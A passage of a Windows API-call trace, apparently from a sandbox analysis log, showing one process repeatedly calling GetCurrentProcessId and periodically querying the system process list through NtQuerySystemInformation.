GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0253.593] GetCurrentProcessId () returned 0xbf4 [0254.133] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca90) returned 0x0 [0254.135] GetCurrentProcessId () returned 0xbf4 [0254.135] GetCurrentProcessId () returned 0xbf4 [0254.135] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.136] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.137] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.138] GetCurrentProcessId () returned 0xbf4 [0254.139] GetCurrentProcessId () returned 0xbf4 [0254.139] GetCurrentProcessId () returned 0xbf4 [0254.139] GetCurrentProcessId () returned 0xbf4 [0254.139] GetCurrentProcessId () returned 0xbf4 [0254.139] GetCurrentProcessId () returned 0xbf4 [0254.139] GetCurrentProcessId () returned 0xbf4 [0254.139] GetCurrentProcessId () returned 0xbf4 [0254.139] GetCurrentProcessId () returned 0xbf4 [0254.139] GetCurrentProcessId () returned 0xbf4 [0254.139] GetCurrentProcessId () returned 0xbf4 [0254.139] GetCurrentProcessId () returned 0xbf4 [0254.660] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca90) returned 0x0 [0254.663] GetCurrentProcessId () returned 0xbf4 [0254.663] GetCurrentProcessId () returned 0xbf4 [0254.663] GetCurrentProcessId () returned 0xbf4 [0254.663] GetCurrentProcessId () returned 0xbf4 [0254.663] GetCurrentProcessId () returned 0xbf4 [0254.663] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.664] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.665] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.666] GetCurrentProcessId () returned 0xbf4 [0254.667] GetCurrentProcessId () returned 0xbf4 [0254.667] GetCurrentProcessId () returned 0xbf4 [0254.667] GetCurrentProcessId () returned 0xbf4 [0255.176] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca90) returned 0x0 [0255.321] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.322] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.323] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.324] GetCurrentProcessId () returned 0xbf4 [0255.325] GetCurrentProcessId () returned 0xbf4 [0255.325] GetCurrentProcessId () returned 0xbf4 [0255.325] GetCurrentProcessId () returned 0xbf4 [0255.325] GetCurrentProcessId () returned 0xbf4 [0255.325] GetCurrentProcessId () returned 0xbf4 [0255.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1ca40) returned 0x0 [0255.839] GetCurrentProcessId () returned 0xbf4 [0255.839] GetCurrentProcessId () returned 0xbf4 [0255.839] GetCurrentProcessId () returned 0xbf4 [0255.839] GetCurrentProcessId () returned 0xbf4 [0255.839] GetCurrentProcessId () returned 0xbf4 [0255.839] GetCurrentProcessId () returned 0xbf4 [0255.839] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.840] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.841] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0255.842] GetCurrentProcessId () returned 0xbf4 [0256.391] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cd30) returned 0x0 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.395] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.396] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.397] GetCurrentProcessId () returned 0xbf4 [0256.398] GetCurrentProcessId () returned 0xbf4 [0256.398] GetCurrentProcessId () returned 0xbf4 [0256.398] GetCurrentProcessId () returned 0xbf4 [0256.912] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12da3098, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x12da3098, ResultLength=0x1b6beb00*=0x1cf10) returned 0x0 [0256.922] GetCurrentProcessId () returned 0xbf4 [0256.923] GetCurrentProcessId () returned 0xbf4 [0256.923] GetCurrentProcessId () returned 0xbf4 [0256.923] GetCurrentProcessId () returned 0xbf4 